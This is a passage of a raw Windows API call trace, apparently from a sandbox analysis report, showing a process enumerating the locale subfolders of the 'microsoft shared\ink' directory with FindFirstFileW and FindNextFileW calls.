dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.063] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.063] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.063] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.063] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.063] GetProcessHeap () returned 0xc00000 [0092.063] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.063] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0092.063] GetProcessHeap () returned 0xc00000 [0092.063] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.063] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.091] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.091] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.091] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.091] GetProcessHeap () returned 0xc00000 [0092.091] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.091] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x400, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0092.091] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x400, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0092.091] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x400, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0092.091] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="th-TH", cAlternateFileName="")) returned 1 [0092.092] GetProcessHeap () returned 0xc00000 [0092.092] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.092] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.092] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.092] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.092] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.092] GetProcessHeap () returned 0xc00000 [0092.092] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.092] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x400, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0092.092] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x400, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0092.092] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x400, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0092.093] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x400, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0092.093] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x400, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0092.093] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0092.093] GetProcessHeap () returned 0xc00000 [0092.093] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.094] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.094] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.094] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.094] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.094] GetProcessHeap () returned 0xc00000 [0092.094] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.094] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0092.094] GetProcessHeap () returned 0xc00000 [0092.094] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.094] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.095] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.095] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.095] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.095] GetProcessHeap () returned 0xc00000 [0092.095] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.095] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0092.095] GetProcessHeap () returned 0xc00000 [0092.095] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.095] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.095] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.095] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.095] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.095] GetProcessHeap () returned 0xc00000 [0092.095] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.095] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0092.096] GetProcessHeap () returned 0xc00000 [0092.096] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.096] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.096] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0092.096] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0092.097] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.097] GetProcessHeap () returned 0xc00000 [0092.097] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.097] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, 